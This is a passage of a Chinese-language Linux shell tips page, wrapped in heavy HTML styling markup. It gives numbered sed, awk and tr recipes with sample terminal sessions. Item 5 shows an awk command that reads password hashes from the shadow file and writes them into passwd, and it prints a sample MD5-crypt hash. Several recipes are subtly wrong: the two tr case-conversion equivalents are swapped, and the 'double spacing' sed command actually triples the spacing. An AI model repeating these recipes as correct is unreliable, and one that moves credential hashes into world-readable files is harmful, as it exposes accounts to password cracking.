u5b8bu4f53; line-height: 25px; text-align: left; ">b 1</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">c 23</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">d 234</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# awk '{printf "%s", $1}' file</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">abcd</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">补充:合并上下行并以空格相分隔</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed '$!N;s/\n/ /' #合并上下两行</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat file</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1234567890</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">0987654321</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">执行命令后</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1234567890 0987654321</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">4.用awk给定的分隔符格式化输出</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# echo a b c |awk '{print $1":"$2":"$3}'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a:b:c</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# echo a b c |awk '{OFS=":";print $1,$2,$3}'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a:b:c</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">5.用某一文件的一个域替换另一个文件中的的特定域(条件是两个文件第一列相同)</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">该例是用linux shadow文件中的密文部分替换passwd中的"x",生一个新passwd文件,如下所示</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">文件passwd:&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">s2002408030068:x:527:527::/home/dz02/s2002408030068:/bin/pw&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">文件shadow:&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">s2002408030068:$1$d8NwFclG$v4ZTacfR2nsbC8BnVd3dn1:12676:0:99999:7:::&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">awk 'BEGIN{OFS=FS=":"} NR==FNR{a[$1]=$2}NR&gt;FNR{$2=a[$1];print}' shadow passwd</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">NR==FNR,第一个文件shadow，以$1为下标，将$2的值赋给数组a</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">NR&gt;FNR，第二个文件passwd，将文件shadow$2的值赋值给文件passwd</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">6.编写一个sed命令，给一个文件的行间距变为两倍行距</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed '$!G;$!G' filename</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">7.常见sed等价命令</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">basename sed 's/\(.*\)\/\([^/]*\)/\2/' or sed 's,.*/,,'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat sed '' or sed -n '1,$p' or sed '1,$!d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat -s sed '/./,/^$/!d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat -n sed '=' | sed 'N;s/\n/\t/;s/^/ &amp;/' or sed '=' | sed '$!N;s/\n/ /'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat -E sed 's/$/\$/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat -t sed 's/\t/^I/g'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cut -c n sed 's/\(.\)\{n\}.*/\1/' or sed 's/^.\{(n-1)\}//g;s/\(.\)\(.*\)/\1/g'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cut -c x-y sed 's/\(^.\{y\}\)\(.*\)/\1/g;s/^.\{(x-1)\}//'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cut -d| -f6 sed 's/\(\([^|]*\)\|\)\{6\}.*/\2/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cp file1 file2 sed 'w file2' file1</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">expand -t 1 sed 's/\t/ /g'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">dirname sed 's/\(.*\)\/\([^/]*\)/\1/' or sed 's,[^/]*$,,'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">grep patten sed -n '/patten/p' or sed '/patten/!d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">grep -v patten sed -n '/patten/!p' or sed '/pateen/d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">grep -n patten sed -n '/patten/{=;p}'| sed 'N;s/\n/:/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">head sed -n '1,10p'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">head -1 sed -n '1p' or sed 'q'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">head -Number sed '1,Number!d' or sed 'Numberq'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">paste -s file1 file2 sed ':a;N;s/\n/\t/;ba;' file1 file2 | sed 's/\t\t/\n/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">paste -sdstr sed ':a;N;s/\n/str/;ba'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">rev sed '/\n/!G;s/\(.\)\(.*\n\)/&amp;\2\1/;//D;s/.//'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tac sed -n '1! G;$p;h' or sed -n 'G;$p;h'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tail -1 sed -n '$p' or sed '$!d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tail -Number sed ':t;$q;N;(Number+1),$D;bt'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tail -f sed -u '/./!d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr "\n" " " sed ':a;N;s/\n/ /;ba'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr "A-Z" "a-z" sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr "a-z" "A-Z" sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">8.将字符串进行割接显示</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">如将 hellohellohello 显示为</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">hello</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">hello</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">hello</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">方法：</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">echo "hellohellohello" |fold -w5</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">echo hellohellohello|sed 's/\(.....\)/\1\n/g'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">echo hellohellohello|sed 's/\(.....\)/\1#/g'|tr '#' '\n'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">9.从右取字符串中的字符操作</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# string="abcdefg"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# echo ${string:(-3)} #取efg</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">efg</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# echo ${string:(-1)}</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">g</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# echo ${string:(2)} #跳过前2个字符</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cdefg</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">10.汉字按拼音排序</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# cat str&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">的见上我人欧怕我下风那把长下在懊上的风个还见看 #未排序前</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# cat str |sed 's/./&amp;\n/g'|LC_ALL=C sort|tr '\n' ' '|tr -d ' ';echo</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">#懊把长的的风风个还见见看那欧怕排前人上上未我我下下序在</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">11.tr命令小结</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr命令：</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr "[a-z]" "[A-Z]" 转换大小写</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr "@" "\n" 替换</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr -d "a" 删除</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">tr -s "a" 相邻重复的a 只保留一个</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# echo abcde |tr -d "a"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">bcde</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# echo abcde |tr "a" "#"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">#bcde</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# echo aabcded |tr -s "a"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">abcded</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">12.指定每一行的第几次出现进行替换</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed 's/old/new/n' filename</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# cat sh</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">abcddds</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">adsfsfdio</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">dsabcdljlsabc</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# cat sh|sed 's/abc/ABC/1'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">ABCddds</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">adsfsfdio</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">dsABCdljlsabc</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# cat sh|sed 's/abc/ABC/2'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">abcddds</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">adsfsfdio</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">dsabcdljlsABC</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]#&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">13. 为文件加行号输出</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed = filename|sed 'N;s/\n/:/'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">cat -n filename</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, 